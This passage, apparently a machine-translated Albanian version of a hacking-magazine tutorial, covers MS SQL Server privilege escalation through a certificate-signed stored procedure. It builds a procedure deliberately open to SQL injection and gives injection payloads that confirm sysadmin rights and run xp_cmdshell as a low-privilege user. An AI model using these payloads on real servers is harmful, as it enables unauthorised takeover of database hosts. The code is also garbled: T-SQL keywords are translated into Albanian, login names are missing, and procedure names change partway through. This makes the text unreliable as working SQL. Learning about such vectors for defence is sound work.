  • IMPERSONATE privilegje dhe EKZEKUTIMI AS funksion;
  • një konfigurim i procedurës së ruajtur me klasën WITH EXECUTE AS për ta ekzekutuar atë si një llogari tjetër.

Le të krijojmë një llogari me të drejta minimale:

KRIJO LOGIN ME PASSWORD = "loki"; SHKO -- Vendos bazën e të dhënave të paracaktuar të hyrjes ALTER LOGIN me default_database = ; SHKO

Çaktivizo vetinë TË BESUESHME: ALTER BAZA TË TË DHËNAVE master SET TRUSTTWORTHY OFF . Dhe le të krijojmë një procedurë të thjeshtë të ruajtur sp_xxx, e cila do të shfaqë kolonën e emrit nga baza e të dhënave tempdb, si dhe nga baza e të dhënave që përdoruesi futi:

PËRDORIMI MASTER; SHKO KRIJO PROCEDURE sp_xxx @DbName varchar(max) SI FILLIM Deklaroni @query si varchar(max) SET @query = "ZGJIDHni emrin NGA master..sysdatabase ku emri si ""%"+ @DbName+"%"" OSE name=" "tempdb"""; EKZEKUTOHET(@query) FUND SHKO

Pas kësaj, ne do të krijojmë një çelës kriptimi për bazën e të dhënave MASTER:

CREATE MASTER CEY ENCRIPTION BY PASSWORD = "sekret"; SHKO

Dhe certifikata:

CREATE CERTIFIKATË sp_xxx_cert ME SUBJECT = "Për të nënshkruar sp_xxx", DATA_EXPIRY = "2035-01-01"; SHKO

Hapi tjetër është të krijoni një hyrje nga certifikata sp_xxx:

KRIJO LOGIN sp_xxx_login NGA CERTIFIKATA sp_xxx_cert

Dhe nënshkruani procedurën me certifikatën e krijuar:

SHTO NËNSHKURËN te sp_xxx ME CERTIFIKATË sp_xxx_cert; SHKO

Le të caktojmë privilegjet e sysadmin-it të hyrjes sp_lvlup2:

EXEC master..sp_addsrvrolemember @loginame = N"sp_xxx_login", @rolename = N"sysadmin" GO

Ne u japim privilegje anëtarëve të grupit PUBLIC për të ekzekutuar procedurën:

GRANT EKZEKUTIMI NË sp_xxx për PUBLIC

Si rezultat, ne krijuam një përdorues tor me të drejta minimale, një procedurë të ruajtur sp_xxx që shfaq emrin e bazës së të dhënave të futur, krijuam një certifikatë sp_xxx_cert dhe nënshkruam procedurën e ruajtur me të, dhe gjithashtu krijuam sp_xxx_login login nga certifikata dhe i dhamë sysadmin privilegje. Kjo përfundon pjesën përgatitore. Ne hyjmë me llogarinë tor dhe thërrasim procedurën e ruajtur:

EXEC MASTER.dbo.sp_xxx "master"

Siç pritej, do të kthejë emrin e bazës së të dhënave që specifikuam - master dhe tempdb (shih Fig. 3).

Oriz. 3. Rezultati i pyetjes EXEC MASTER.dbo.sp_xxx "master"

Një pyetje si EXEC MASTER.dbo.sp_sqli2 "master""--" do të kthejë vetëm master (shih Figurën 4).

Fig.4. Rezultati i pyetjes EXEC MASTER.dbo.xxx "master""--"

I shkëlqyer. Kjo do të thotë që procedura e ruajtur është e ndjeshme ndaj injektimit SQL. Le të kontrollojmë privilegjet tona me pyetjen e mëposhtme:

EXEC MASTER.dbo.sp_xxx "master"";SELECT is_srvrolemember(""sysadmin"")as priv_certsp--";

priv_cersp=1 (shih Figurën 5) do të thotë se kemi privilegje sysadmin. Ekzekutoni komandën EXEC master..xp_cmdshell "whoami"; nuk do të funksionojë, sepse llogaria tor ka të drejta minimale, por nëse ky pyetës injektohet në një injeksion SQL, atëherë gjithçka do të funksionojë (Fig. 6).

Ajo që është më interesante, një mashtrim i tillë do të funksionojë në versionet 2005-2014.

konkluzioni

Dallimi në të gjithë këta vektorë është shumë domethënës. Në disa raste, për të arritur qëllimin, mund të kufizoheni në vetinë e përfshirë TRUSTWORTHY, e cila lejon objektet jashtë bazës së të dhënave të përdorin burimet e kësaj baze të dhënash për të krijuar dhe ekzekutuar një procedurë të ruajtur që rrit privilegjet. Diku është e mundur të ekzekutohen procedurat e ruajtura në emër të llogarive të tjera për shkak të pranisë së privilegjeve IMPERSONATE dhe funksionit EXECUTE AS, dhe në rastet e treta, është e rëndësishme vetëm të kesh një injeksion SQL përmes të cilit mund të injektohet një pyetje, dhe ai do të ekzekutohet në emër të një llogarie tjetër. Për një kuptim të plotë të nuancave dhe hollësive, unë do t'ju këshilloja të kontrolloni këta vektorë në makinën tuaj lokale.

Artikulli nuk ofron një prezantim shterues të të gjithë vektorëve të sulmit në MS SQL DBMS, por do të jetë shumë i dobishëm për një analizë sipërfaqësore të sigurisë. Unë rekomandoj gjithashtu që të njiheni me një vektor tjetër hakerimi përmes lidhjeve DB, i cili u përshkrua nga Alexey Tyurin në numrin e dhjetorit të ][ (#191) në seksionin Easy Hack. Kjo është e gjitha, faleminderit për vëmendjen tuaj dhe shihemi përsëri.



Po ngarkohet...
Top